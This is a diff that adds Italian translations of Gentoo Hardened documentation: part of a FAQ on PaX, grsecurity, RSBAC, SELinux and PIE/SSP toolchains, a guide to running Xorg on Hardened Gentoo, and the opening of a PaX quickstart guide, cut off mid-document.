+  </li>
+  <li>
+    <uri link="#grsecgentoodoc">Quale documentazione Gentoo esiste riguardo
+    grsecurity?</uri>
+  </li>
+  <li>
+    <uri link="#grsec2681">Posso usare grsecurity con i kernel 2.6.8, 2.6.8.1,
+    or 2.6.9?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>RSBAC</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#rsbacinformation">Qual'è l'home page di RSBAC?</uri>
+  </li>
+  <li>
+    <uri link="#rsbacgentoodoc">Quale documentazione Gentoo esiste riguardo
+    RSBAC?</uri>
+  </li>
+  <li>
+    <uri link="#rsbacinitrd">Come usare un ramdisk iniziale con un kernel
+    abilitato per RSBAC?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>SELinux</title>
+<body>
+
+<ul>
+  <li>
+   <uri link="#selinuxfaq">Dove posso trovare le FAQ relative a SELinux?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Domande Generali</title>
+<section id="toolchain">
+<title>Cos'è esattamente una "toolchain"?</title>
+<body>
+
+<p>
+Il termine "toolchain" si riferisce ad una combinazione di pacchetti software
+comunemente usati per costruire e sviluppare una particolare architettura. La
+toolchain a cui ci si riferisce nel canale IRC gentoo-hardened consiste di GNU
+Compiler Collection (GCC), binutils e della libreria GNU C (glibc).
+</p>
+
+</body>
+</section>
+<section id="whichisbetter">
+<title>Cosa dovrei usare: grsecurity, RSBAC o SELinux?</title>
+<body>
+
+<p>
+La risposta a questa domanda è altamente soggettiva, così il progetto Gentoo
+hardened tenta semplicemente di presentare ogni tecnologia e lasciare la scelta
+all'utente. Questa decisione ha richiesto molte ricerche che sono state
+fiduciosamente e chiaramente inserite nella documentazione inerente l'hardened.
+Tuttavia per qualsiasi domanda specifica riguardo i modelli di sicurezza che
+ciascuno fornisce ci si senta liberi di interpellare gli svilupptori sul
+relativo canale IRC o attraverso mailing list.
+</p>
+
+</body>
+</section>
+<section id="aclall">
+<title>È possibile usare grsecurity, RSBAC, SELinux e PaX tutti
+contemporaneamente?</title>
+<body>
+
+<p>
+Si, questa combinazione è possibile poichè PaX può lavorare con grsecurity,
+RSBAC e SELinux. Il solo conflitto che si può verificare è che si può usare
+un solo sistema di controllo degli accessi.
+</p>
+
+</body>
+</section>
+<section id="hardenedcflags">
+<title>È necessario passare alcune flag a LDFLAGS/CFLAGS per abilitare la
+compilazione PIE/SSP??</title>
+<body>
+
+<p>
+No, la toolchain attuale implementa automaticamente l'equivalente di
+<c>CFLAGS="-fPIE -fstack-protector-all" LDFLAGS="-Wl,-z,now -Wl,-z,relro"</c>
+attraverso uno specfile di GCC che risulta essere una soluzione più appropriata.
+Per vecchi utenti di hardened-gcc aggiungere <c>USE="hardened pic"</c> al
+proprio <path>/etc/make.conf</path> e quindi procedere all'aggiornamento
+con il seguente comando:
+</p>
+
+<pre caption="Installazione dell' Hardened Toolchain">
+# <i>emerge --oneshot binutils gcc virtual/libc</i>
+# <i>emerge -e world</i>
+</pre>
+
+<note>
+Gentoo si occuperà di applicare delle patch al relativo GCC per permettere che
+gli specfiles possano essere passati attraverso variabili di ambiente.
+Attualmente sono installati nel sistema Gentoo diversi tipi di specfile che
+permettono agli utenti che utilizzano le architetture supportate di abilitare o
+meno le funzionalità della toolchain in maniera semplice. Per accedere gli specs
+come l'utente finale si può far uso dell'utilità gcc-config.
+</note>
+
+</body>
+</section>
+<section id="hardenedcflagsoff">
+<title>Come posso disabilitare la compilazione PIE/SSP?</title>
+<body>
+
+<p>
+A tale scopo si può utilizzare <c>gcc-config</c>:
+</p>
+
+<pre caption="Esempio di output di gcc-config">
+# gcc-config -l
+ [1] i686-pc-linux-gnu-3.4.4 *
+ [2] i686-pc-linux-gnu-3.4.4-hardenednopie
+ [3] i686-pc-linux-gnu-3.4.4-hardenednopiessp
+ [4] i686-pc-linux-gnu-3.4.4-hardenednossp
+ [5] i686-pc-linux-gnu-3.4.4-vanilla
+
+<comment>Per disabilitare la compilazione SSP passare al profilo hardenednossp:</comment>
+# gcc-config i686-pc-linux-gnu-3.4.4-hardenednossp
+</pre>
+
+<p>
+Alternativamente si può raggiungere lo stesso risultato modificando CFLAGS:
+</p>
+
+<p>
+Per disabilitare la compilazione SSP, di default quando si usa l'hardened
+toolchain, aggiungere <c>-fno-stack-protector-all -fno-stack-protector</c> alla
+fine delle proprie CFLAGS.
+</p>
+
+<p>
+Se si vuole disabilitare la compilazione di default PIE aggiungere <c>-nopie</c>
+alla fine delle proprie CFLAGS.
+</p>
+
+<impo>
+Il flag <c>-fno-pic</c> non dovrebbe essere usato perchè abilita il codice
+non-PIC. Invece, usando <c>-nopie</c>, si ritorna al comportamento del vanilla
+GCC che dovrebbe essere il risultato cercato.
+</impo>
+
+<note>
+Se si è interessati ad usare per-package CFLAGS con Portage allora è
+interessante leggere a proposito di script solar sviluppato per lavorare con
+questo: <uri>http://article.gmane.org/gmane.linux.gentoo.hardened/1204</uri>
+</note>
+
+</body>
+</section>
+<section id="fsexec">
+<title>La compilazione del mio kernel fallisce con l'errore"error: structure has
+no member named `curr_ip'", come posso correggere ciò?</title>
+<body>
+
+<p>
+Per utilizzare PaX su sorgenti hardened, è necessario abilitare grsecurity nella
+configurazione del proprio kernel. Questo potrebbe essere corretto in future
+versioni del kernel.
+</p>
+
+</body>
+</section>
+<section id="hardenedproject">
+<title>Ho appena scoperto il progetto hardened, devo installare tutto quello che
+trovo sulla pagina del progetto prima di installare Hardened Gentoo?</title>
+<body>
+
+<p>
+No, il progetto Gentoo Hardened è una collezione di sottoprogetti che hanno
+tutti come obbiettivo la sicurezza. Mentre molti di questi progetti posso
+convivere l'uno al fianco dell'altro, alcuni sono in conflitto tra loro, come
+molte delle implementazioni delle ACL messe a disposizione da Hardened Gentoo.
+</p>
+
+</body>
+</section>
+<section id="Othreessp">
+<title>Perchè i miei programmi non vanno quando uso CFLAGS="-O3" e hardened
+gcc?</title>
+<body>
+
+<p>
+È noto che l'utilizzo del flag di ottimizzazione <c>-O3</c> in molte situzioni
+crea problemi al stack-smashing protector (SSP). Questo flag di ottimizzazione
+non è ufficialmente supportato e quindi ne viene scoraggiato l'uso dall'hardened
+team. Compilazioni dove l'utente fa uso di <c>CFLAGS="-O3"</c> vengono chiuse
+come INVALID/CANTFIX e/o ignorate.
+</p>
+
+</body>
+</section>
+<section id="cascadebootstrap">
+<title>Che cosa è accaduto a bootstrap-cascade.sh?</title>
+<body>
+
+<p>
+Recentemente i vecchi bootstrap.sh e bootstrap-2.6.sh sono stati deprecati. Al
+loro posto bootstrap-cascade.sh è stato rinominato  bootstrap.sh.
+</p>
+
+</body>
+</section>
+<section id="hardenedprofile">
+<title>Come posso passare al profilo hardened?</title>
+<body>
+
+<pre caption="Impostare make.profile">
+# <i>eselect profile list</i>
+[1]   default/linux/amd64/10.0
+[2]   default/linux/amd64/10.0/desktop
+[3]   default/linux/amd64/10.0/desktop/gnome *
+[4]   default/linux/amd64/10.0/desktop/kde
+[5]   default/linux/amd64/10.0/developer
+[6]   default/linux/amd64/10.0/no-multilib
+[7]   default/linux/amd64/10.0/server
+[8]   hardened/linux/amd64/10.0
+[9]   hardened/linux/amd64/10.0/no-multilib
+[10]  selinux/2007.0/amd64
+[11]  selinux/2007.0/amd64/hardened
+[12]  selinux/v2refpolicy/amd64
+[13]  selinux/v2refpolicy/amd64/desktop
+[14]  selinux/v2refpolicy/amd64/developer
+[15]  selinux/v2refpolicy/amd64/hardened
+[16]  selinux/v2refpolicy/amd64/server
+# <i>eselect profile set 8</i> <comment>(sostituire 8 con il profilo hardened desiderato)</comment>
+</pre>
+
+<p>
+Dopo aver impostato il profilo bisogna ricompilare il proprio sistema
+usando l'hardened toolchain in modo da avere una base consistente:
+</p>
+
+<pre caption="Passaggio all'hardened toolchain">
+# <i>emerge --oneshot binutils gcc virtual/libc</i>
+# <i>emerge -e world</i>
+</pre>
+
+</body>
+</section>
+<section id="hardeneddebug">
+<title>Come faccio il debug con gdb?</title>
+<body>
+
+<p>
+La prima cosa da sottolineare è che GDB non può risolvere i simboli in PIEs; non
+riesce a capire che gli indirizzi sono relativi in PIEs, non assoluti. Questo si
+manifesta quando, per esempio, si tenta di fare un backtrace e viene
+visualizzato un flusso di linee di '??' dove dovrebbero essere i simboli.
+</p>
+
+<p>
+Per aggirare questo, eseguire la fase finale di linkaggio con <c>-nopie</c>
+tutte le precedenti compilazioni possono ancora essere fatte normalmente con
+<c>-fPIE</c> (i.e. di default con il compilatore hardened) In maniera tale che
+il proprio eseguibile sia il più vicino possibile al caso reale, ma la fase
+finale di linkaggio da origine ad un eseguibile normale. È possibile aggiungere
+<c>-nopie</c> alle LDFLAGS se si intende compilare utilizzando emerge.
+</p>
+
+<p>
+Un'altra maniera per fare ciò consiste nel fare l'emerge di >=sys-devel/gdb-7.1,
+che contiene una patch particolare che rende possibile il debug di eseguibili
+lincati con -pie
+</p>
+
+<p>
+Il secondo punto è che PaX potrebbe impedire a GDB di creare breakpoints, a
+seconda della configurazione del kernel. Questo include anche il breakpoint nel
+main di cui si necessita come punto di partenza. Per impedire a PaX di
+comportarsi in questo modo gli eseguibili da debuggare necessitano dei flag
+<c>m</c> e <c>x</c>. IL flag <c>x</c> è settato di default, così è sufficiente
+fare:
+</p>
+
+<pre caption="Rilassare PaX per il debug">
+# <i>/sbin/paxctl -m foo</i>
+</pre>
+
+<p>
+A questo punto si dovrebbe essere pronti per partire! Avviate gdb come sempre e
+buona fortuna.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Domande su PaX</title>
+<section id="paxinformation">
+<title>Qual'è l'homepage di PaX?</title>
+<body>
+
+<p>
+L'home page è reperibile all'indirizzo <uri>http://pax.grsecurity.net</uri>.
+</p>
+
+</body>
+</section>
+<section id="paxgentoodoc">
+<title>Quale documentazione Gentoo esiste riguardo PaX?</title>
+<body>
+
+<p>
+Attualmente l'unica documentazione Gentoo riguardante PaX è la PaX quickstart
+guide reperibile presso l'indirizzo
+<uri>http://www.gentoo.org/proj/it/hardened/pax-quickstart.xml</uri>.
+</p>
+
+</body>
+</section>
+<section id="paxnoelf">
+<title>Continuo ad ottenere il messaggio: "error while loading shared libraries:
+cannot make segment writable for relocation: Permission denied." Che cosa
+significa?</title>
+<body>
+
+<p>
+Questo errore si manifesta quando viene abilitato CONFIG_PAX_NOELFRELOCS nel
+seguente modo:
+</p>
+
+<pre caption="Opzione di Menuconfig">
+Non-executable page ->
+
+ [*]   Disallow ELF text relocations
+</pre>
+
+<p>
+Se si sta utilizzando la toolchain hardened la compilazione dei propri programmi
+genererà librerie PIC ELF che non conterranno text relocations. Tuttavia alcune
+librerie potrebbero ancora contenere text relocations per diverse ragioni
+(spesso una è la presenza di codice assembly gestito in maniera non corretta).
+Questo può rappresentare un punto di vulnerabilità in quanto un attaccante
+potrebbe sfruttare librerie non-PIC per eseguire il proprio shellcode. Librerie
+non PIC hanno anche un impatto negativo dal punto di vista dell'uso della
+memoria visto che annullano la condivisione di codice, obiettivo delle librerie
+condivise.
+</p>
+
+<p>
+Per eliminare questo errore e consentire ad i propri programmi di funzionare è
+necessario sacrificare la sicurezza e consentire la generazione di codice a
+runtime per quel programma. La caratteristica di PaX che consente di ottenere
+ciò è chiamata MPROTECT. Si può disabilitare MPROTECT su qualsiasi eseguibile
+che utilizzi librerie non-PIC.
+</p>
+
+<p>
+Per testare il proprio sistema per textrels si può utilizzare il programma
+<c>scanelf</c> reperibile in <c>app-misc/pax-utils</c>. Per informazioni su come
+usare il pacchetto <c>pax-utils</c> consultare <uri
+link="/proj/en/hardened/pax-utils.xml">la guida Gentoo a PaX Utilities</uri>.
+</p>
+
+<note>
+Le versioni più recenti di <c>sys-apps/portage</c>(>=2.0.53) operano controlli
+riguardo alla text relocation e stampano un messaggio di attenzione oppure
+interrompono il processo di merge a seconda delle <c>FEATURES</c> impostate nel
+proprio <path>/etc/make.conf</path>.
+</note>
+
+</body>
+</section>
+<section id="paxjava">
+<title>Da quando ho iniziato ad usare PaX Java non funziona, perchè?</title>
+<body>
+
+<p>
+Come parte di questo progetto la Java virtual machine genera una quantità
+considerevole di codice a runtime, cosa che non rende PaX felice. Ci sono due
+maniere per correggere questo problema:
+</p>
+
+<pre caption="Installiare Chpax">
+# <i>emerge chpax</i>
+# <i>/etc/init.d/chpax start</i>
+</pre>
+
+<p>
+O se già si ha <c>chpax</c> installato si può dare:
+</p>
+
+<pre caption="Opzioni Chpax per Java">
+# <i>chpax -pemrxs /opt/*-jdk-*/{jre,}/bin/*</i>
+</pre>
+
+<p>
+Entrambe queste opzioni modificano leggermente l' ELF header al fine di
+impostare correttamente i falgs di PAX sui binari.
+</p>
+
+<note>
+Se si sta utilizzando PaX in conbinazione con ulteriori strumenti per la
+sicurezza, come ad esempio RSBAC, grsecurity, o SELinux è necessario gestire PaX
+attraverso l'utilizzo dei kernel hooks previsti per ogni implementazione.
+</note>
+
+<p>
+Con RSBAC si possono etichettare tutti i file Java utilizzando il seguente
+comando.
+</p>
+
+<pre caption="Opzioni Pax per Java con RSBAC">
+# <i>for i in $(ls /opt/*(jdk|sdk)*/{jre,}/bin/*);do attr_set_file_dir FILE $i pax_flags pmerxs;done</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Domande su grsecurity</title>
+<section id="grsecinformation">
+<title>Qual'è l'home page di grsecurity?</title>
+<body>
+
+<p>
+L'homepage di grsecurity è reperibile all'indirizzo
+<uri>http://www.grsecurity.net</uri>.
+</p>
+
+</body>
+</section>
+<section id="grsecgentoodoc">
+<title>Quale documentazione Gentoo esiste riguardo grsecurity?</title>
+<body>
+
+<p>
+La documentazione più aggiornata su grsecurity è la Grsecurity2 quickstart
+guide, reperibile all'indirizzo
+<uri>http://www.gentoo.org/proj/it/hardened/grsecurity.xml</uri>.
+</p>
+
+</body>
+</section>
+<section id="grsec2681">
+<title>Posso usare grsecurity con i kernel 2.6.8, 2.6.8.1, or 2.6.9?</title>
+<body>
+
+<p>
+Sono stati apportati dei cambiamenti significativi nel kernel 2.6.8 che hanno
+compromesso Pax, per i kernel 2.6.8.1 e 2.6.9 non sono diponibili patch ne per
+per PaX ne per grsecurity. Anche se per il kernel 2.6.10 è disponibile una
+patch sperimentale è bene prendere in considerazione la posizione ufficiale del
+team PaX nei confronti del kernel 2.6 prima di utilizzarlo:
+<uri> http://forums.grsecurity.net./viewtopic.php?t=968</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Domande su RSBAC</title>
+<section id="rsbacinformation">
+<title>Qual'è l'home page di RSBAC?</title>
+<body>
+
+<p>
+L'homepage di RSBAC è reperibile all'indirizzo <uri>http://www.rsbac.org</uri>.
+</p>
+
+</body>
+</section>
+<section id="rsbacgentoodoc">
+<title>Quale documentazione Gentoo esiste riguardo RSBAC?</title>
+<body>
+
+<p>
+Tutta la documentazione Gentoo inerente RSBAC è reperebile presso la pagina
+del sottoprogetto RSBAC all'indirizzo
+<uri>http://www.gentoo.org/proj/en/hardened/rsbac/index.xml</uri>
+</p>
+
+<p>
+Inoltre documentazione non-Gentoo su RSBAC può essere trovata nel manuale per
+RSBAC all'indirizzo <uri>http://www.rsbac.org/documentation/rsbac_handbook</uri>
+</p>
+
+</body>
+</section>
+<section id="rsbacinitrd">
+<title>Come usare un ramdisk iniziale con un kernel abilitato per RSBAC?</title>
+<body>
+
+<p>
+Per usare un ramdisk iniziale con un kernel abilitato per RSBAC è necessario
+abilitare una particolare opzione, altrimenti RSBAC tratterà l'initrd come
+il root device:
+</p>
+
+<pre caption="Opzioni Menuconfig">
+    [*] Delayed init for initial ramdisk
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Domande su SELinux</title>
+<section id="selinuxfaq">
+<title>Dove posso trovare le FAQ relative a SELinux?</title>
+<body>
+
+<p>
+FAQ specifiche per SELinux possono essere reperite all'indirizzo
+<uri>http://www.gentoo.org/proj/en/hardened/selinux/selinux-handbook.xml?part=3&amp;chap=3</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/it/hardened/hardenedxorg.xml b/xml/htdocs/proj/it/hardened/hardenedxorg.xml
new file mode 100644
index 00000000..ff6cc841
--- /dev/null
+++ b/xml/htdocs/proj/it/hardened/hardenedxorg.xml
@@ -0,0 +1,213 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/hardened/hardenedxorg.xml,v 1.1 2007/08/02 13:30:43 scen Exp $ -->
+
+<guide link="proj/it/hardened/hardenedxorg.xml" lang="it">
+<title>Usare Xorg su Gentoo Hardened</title>
+
+<author title="Autore">
+  <mail link="tocharian@gentoo.org">Adam Mondl</mail>
+</author>
+<author title="Collaboratore">
+  <mail link="kevquinn@gentoo.org">Kevin Quinn</mail>
+</author>
+<author title="Collaboratore">
+  <mail link="solar@gentoo.org">Ned Ludd</mail>
+</author>
+<author title="Collaboratore">
+  <mail link="phreak@gentoo.org">Christian Heim</mail>
+</author>
+<author title="Collaboratore">
+  <mail link="zaid_a@users.sourceforge.net">Zaid A.</mail>
+</author>
+<author title="Traduzione">
+  <mail link="liuju86@gmail.com">Ju Liu</mail>
+</author>
+
+<abstract>
+Come installare e utilizzare Xorg su Gentoo Hardened
+</abstract>
+
+<version>1.6</version>
+<date>2006-12-23</date>
+
+<chapter>
+<title>Introduzione</title>
+<section>
+<title>Che cosa c'è di diverso nell'usare Xorg su Gentoo Hardened?</title>
+<body>
+
+<p>
+PaX, una patch per il kernel Linux, è la parte centrale del progetto Gentoo
+Hardened. PaX fornisce varie funzionalità come ad esempio ASLR e la memoria NX.
+Ulteriori informazioni sono disponibili su
+<uri>http://www.gentoo.org/proj/en/hardened/docs/pax-howto.xml</uri>. Per lo
+scopo di questo documento, si assumerà che il lettore abbia una conoscenza
+generale di come funzioni PaX e del concetto di Position Independent Executables
+(PIE).
+</p>
+
+<p>
+La funzionalità specifica di PaX di interesse in questo articolo è MPROTECT, che
+protegge contro il codice eseguibile posto nello spazio di indirizzamento di un
+programma. Una delle principali caratteristiche di Gentoo Hardened è la capacità
+di eseguire PaX in modo efficace grazie alla base ET_DYN/PIE. L'obiettivo finale
+per Xorg è avere il binario stesso compilato come ET_DYN/PIE per rimuovere da
+esso le rilocazioni di testo e rendere casuale la base di indirizzamento senza
+il calo di prestazioni causato da EX_EXEC.
+</p>
+
+<p>
+A questo punto, compilare Xorg con codice PIC sembra una scelta ovvia e logica.
+Gentoo Hardened offre una versione di gcc hardened per questo scopo, che
+permette una compilazione PIE/SSP trasparente. Questo è il punto in cui
+cominciano i problemi con Xorg. Attualmente Xorg usa elfloader per gestire il
+caricamento dei moduli necessari, e tuttavia, elfloader non è in grado di
+risolvere vari tipi di simboli rilocabili che vengono sempre generati dal codice
+PIC. Ciò che è più importante, elfloader non supporta nè i simboli di tipo
+Global Offset Table (GOT) nè quelli Procedure Linkage Table (PLT), entrambi
+essenziali per le librerie condivise.
+</p>
+
+<p>
+Allora che cosa può funzionare al posto di elfloader? Fortunatamente, esiste già
+installato sul proprio sistema un loader dinamico completamente funzionante, ben
+testato e maturo: ld-linux.so, il quale è fornito da glibc. L'idea ovvia che può
+venire in mente ora è che teoricamente ci potrebbe essere un'interfaccia
+programmata al loader glibc, e il loader di X potrebbe essere modificato per
+poter usare quello invece di modificare a mano il proprio loader. Questa
+interfaccia esiste già e si chiama dlopen(3), ed è esattamente ciò che usa
+dlloader.
+</p>
+
+<note>
+A partire da Xorg 7.0, dlloader è il loader predefinito dei moduli per X.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Opzioni di configurazione del kernel</title>
+<section>
+<title>CONFIG_PAX_KERNEXEC</title>
+<body>
+
+<p>
+L'opzione 'CONFIG_PAX_KERNEXEC' è l'equivalente a livello kernel di PAGEEXEC e
+MPROTECT. Attivando questa opzione sarà reso più difficile inserire ed eseguire
+codice esterno nella stessa memoria del kernel. Questa opzione può anche causare
+strani comportamenti della vostra installazione di Xorg hardened (per esempio il
+puntatore del mouse che si blocca nella parte sinistra dello schermo). Pertanto
+si suggerisce di disabilitare questa opzione deselezionandola nella propria
+configurazione.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>CONFIG_GRKERNSEC_IO</title>
+<body>
+
+<p>
+Attivare questa opzione porterà tutte le chiamate ioperm(2) e iopl(2) a
+restituire un errore. ioperm(2) e iopl(2) potrebbero essere utilizzate per
+modificare il kernel in uso. Se si desidera eseguire un server Xorg sopra ad un
+kernel hardened (la maggior parte delle volte GRsecurity), sarà necessario
+disabilitare questa opzione di configurazione, affinchè il server X funzioni
+completamente.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Installazione</title>
+<section>
+<title>Opzioni attuali di installazione</title>
+<body>
+
+<p>
+A partire da Xorg 7.0 in avanti, si utilizza in modo predefinito dlloader al
+posto di elfloader, e quindi non è necessario fare nulla di speciale per poter
+compilare e far funzionare Xorg su un profilo hardened.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Configurazione</title>
+<section>
+<title>/etc/X11/xorg.conf</title>
+<body>
+
+<p>
+Si può modificare il proprio file di configurazione di Xorg usando la guida
+disponibile su <uri>http://www.gentoo.org/doc/it/xorg-config.xml</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Problemi noti</title>
+<section>
+<title>Esperienze con dlloader</title>
+<body>
+
+<p>
+Gentoo Hardened sceglie come strategia standard di link di risolvere tutti i
+simboli in fase di caricamento, e sottolinea questa scelta su tutte le librerie
+condivise quando queste vengono compilate. Normalmente il loader usa una
+risoluzione "pigra" se richiesto, dove i simboli sono risolti se e quando sono
+utilizzati. Sfortunatamente alcuni moduli di Xorg hanno dipendenze tra di loro e
+altri problemi, il che implica che non si possano caricare a meno di abilitare
+la risoluzione "pigra" dei simboli. Per risolvere in modo temporaneo questo
+problema, attualmente Gentoo compila i moduli di Xorg e lo stesso server con la
+flag -nonow di gcc. Questo risolve gli errori di tipo "dlopen: undefined symbol"
+in modo che i metodi precedenti di trovare manualmente e caricare i moduli non
+siano più necessari.
+</p>
+
+<impo>
+Si prega di segnalare a bugs.gentoo.org tutti i problemi allegando i log e i
+file di configurazione completi.
+</impo>
+
+</body>
+</section>
+
+<section>
+<title>Driver Binari</title>
+<body>
+
+<p>
+I driver binari non sono attualmente supportati dal profilo hardened e si
+consiglia invece di utilizzare i driver opensource.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Le flag di PaX</title>
+<body>
+
+<p>
+Le flag di PaX -P (PAGEEXEC), -S (SEGMEXEC), -M (MPROTECT) come -R (RANDMMAP)
+funzionano ora con Xorg.
+</p>
+
+</body>
+</section>
+
+</chapter>
+</guide>
\ No newline at end of file
diff --git a/xml/htdocs/proj/it/hardened/pax-quickstart.xml b/xml/htdocs/proj/it/hardened/pax-quickstart.xml
new file mode 100644
index 00000000..10d6035b
--- /dev/null
+++ b/xml/htdocs/proj/it/hardened/pax-quickstart.xml
@@ -0,0 +1,307 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/hardened/pax-quickstart.xml,v 1.3 2010/08/03 20:25:15 scen Exp $ -->
+
+<guide link="/proj/it/hardened/pax-quickstart.xml" lang="it">
+<title>Guida rapida per PaX su Gentoo Hardened</title>
+
+<author title="Autore">
+  <mail link="tseng@gentoo.org">Brandon Hale</mail>
+</author>
+<author title="Redazione">
+  <mail link="blackace@gentoo.org">Blackace</mail>
+</author>
+<author title="Redazione">
+  <mail link="solar@gentoo.org">solar</mail>
+</author>
+<author title="Traduzione">
+  <mail link="liuju86@gmail.com">Ju Liu</mail>
+</author>
+
+<abstract>
+Una guida veloce a PaX e a Gentoo Hardened.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.0 -->
+<license/>
+
+<version>1.4</version>
+<date>2007-09-11</date>
+
+<chapter>
+<title>Che cos'è Gentoo Hardened?</title>
+<section>
+<body>
+
+<p>
+Gentoo Hardened è un progetto il cui scopo è rendere più sicuro un sistema
+Gentoo. Sono supportate varie soluzioni differenti e presenta una buona dose di
+flessibilità per personalizzare la propria installazione. Il cuore di una
+normale installazione di Gentoo Hardened è <e>PaX</e>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Che cos'è PaX?</title>
+<section>
+<body>
+
+<p>
+PaX è una patch per il kernel Linux che aumenta la sicurezza in due modi.
+</p>
+
+<p>
+Il primo, <e>ASKR</e> (Address Space Layout Randomization), consente di rendere
+casuale lo schema di indirizzamento di tutti i dati caricati nella memoria.
+Quando una applicazione è compilata come <e>PIE</e> (Position Independent
+Executable), PaX è in grado inoltre di rendere casuale anche gli indirizzi
+della base dell'applicazione.
+</p>
+
+<p>
+La seconda protezione fornita da PaX è la memoria non eseguibile. Questo
+previene una forma di attacco piuttosto comune in cui un attaccante inserisce
+codice eseguibile nella memoria. Si possono trovare altre informazioni su
+PaX in questa guida, ma la homepage del progetto è
+<uri>http://pax.grsecurity.net</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Introduzione a PIE e a SSP</title>
+<section>
+<body>
+
+<p>
+Come si è accennato in precedenza, il complemento di PaX è PIE. Questa tecnica
+per compilare applicazioni salva le informazione necessarie a spostare parti
+dell'eseguibile nella memoria, da cui il nome <e>Position Independent</e>.
+</p>
+
+<p>
+<e>SSP</e> (Stack Smashing Protector) è la seconda tecnologia complementare che
+è introdotta in fase di compilazione dell'eseguibile. SSP fu originariamente
+introdotto dalla IBM sotto il nome <e>ProPolice</e>. Esso modifica il
+compilatore C per inserire codice di inizializzazione nelle funzioni che creano
+un buffer nella memoria.
+</p>
+
+<note>
+Nelle nuove versioni di SSP, è possibile applicare SSP a tutte le funzioni
+aggiungendo una protezione alle funzioni i cui buffer normalmente avrebbero una
+dimensione inferiore al limite imposto da SSP. Questo si può abilitare
+attraverso la CFLAG -fstack-protector-all.
+</note>
+
+<p>
+In fase di esecuzione, quando un buffer viene creato, SSP aggiunge un valore
+casuale segreto, il canary, alla fine del buffer. Quando la funzione effettua il
+return, SSP si accerta che il canary sia ancora intatto. Se un attaccante
+volesse attuare un buffer overflow, sovrascriverebbe questo valore e farebbe
+scattare lo stack smashing handler. Attualmente questo uccide il processo.
+</p>
+
+<p>
+<uri link="http://www.trl.ibm.com/projects/security/ssp/">Ulteriori
+informazioni su SSP.</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Compilare un kernel con PaX abilitato</title>
+<section>
+<body>
+
+<p>
+Diversi sorgenti dei kernel di Gentoo sono già modificati con PaX.
+</p>
+
+<p>
+Per i sistemi 2.4/2.6, i kernel consigliati sono gli <c>hardened-sources</c>.
+</p>
+
+<p>
+Si deve scegliere uno dei sorgenti consigliati oppure applicare la patch
+corretta da <uri>http://pax.grsecurity.net</uri> al proprio albero e
+configurarlo come si farebbe normalmente per il proprio sistema.
+</p>
+
+<p>
+In <c>Security Options -&gt; PaX</c>, attivare le seguenti opzioni.
+</p>
+
+<pre caption="Configurazione Kernel">
+[*] Enable various PaX features
+
+PaX Control -&gt;
+
+ [ ] Support soft mode
+ [*] Use legacy ELF header marking
+ [*] Use ELF program header marking
+     MAC system integration (none)  ---&gt;
+
+Non-executable page -&gt;
+
+ [*] Enforce non-executable pages
+ [*]   Paging based non-executable pages
+ [*]   Segmentation based non-executable pages
+ [*] Emulate trampolines
+ [*] Restrict mprotect()
+ [ ]   Disallow ELF text relocations
+
+Address Space Layout Randomization -&gt;
+
+ [*] Address Space Layout Randomization
+ [*]   Randomize kernel stack base
+ [*]   Randomize user stack base
+ [*]   Randomize mmap() base
+ [*]     Randomize ET_EXEC base
+</pre>
+
+<p>
+Si deve compilare questo kernel come si farebbe normalmente e installarlo in
+<path>/boot</path>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Compilare un ambiente utente con PIE/SSP abilitato</title>
+<section>
+<body>
+
+<p>
+Gentoo Hardened supporta la compilazione PIE/SSP trasparente tramite lo specfile
+di GCC. Questo implica che ogni utente che stia aggiornando una installazione
+Hardened precedente debba rimuovere le LDFLAGS e le CFLAGS utilizzate per
+attivare PIE/SSP. Inoltre, <c>hardened-gcc</c> è ora deprecato e si dovrebbe
+rimuovere (la versione 5.0 è un pacchetto dummy). Per ottenere la versione
+aggiornata di GCC, è necessario aggiungere <c>USE="hardened pic"</c> a
+<path>/etc/make.conf</path> se non si sta utilizzando il profilo hardened.
+</p>
+
+<p>
+Per mantenere una toolchain corretta, prima è necessario un <c>emerge binutils
+gcc virtual/libc</c>. In seguito, occorre ricompilare l'intero sistema con
+<c>emerge -e world</c>. Tutti i pacchetti futuri saranno compilati con PIE/SSP.
+</p>
+
+<warn>
+È noto che sia PIE che SSP possano provocare incompatibilità con qualche
+pacchetto. Se si incontra un pacchetto la cui compilazione fallisce, si prega
+di segnalare a <uri>http://bugs.gentoo.org/</uri> un bug report dettagliato che
+includa un log della compilazione fallita e l'output di <c>emerge info</c>.
+</warn>
+
+<p>
+Probabilmente è utile installare pax-utils. Spesso se un ELF presenta
+spostamenti dell'eseguibile nel segmento di testo, questi possono causare
+problemi. scanelf -BRylptq
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Quando le cose non funzionano correttamente (Controllo di PaX)</title>
+<section>
+<body>
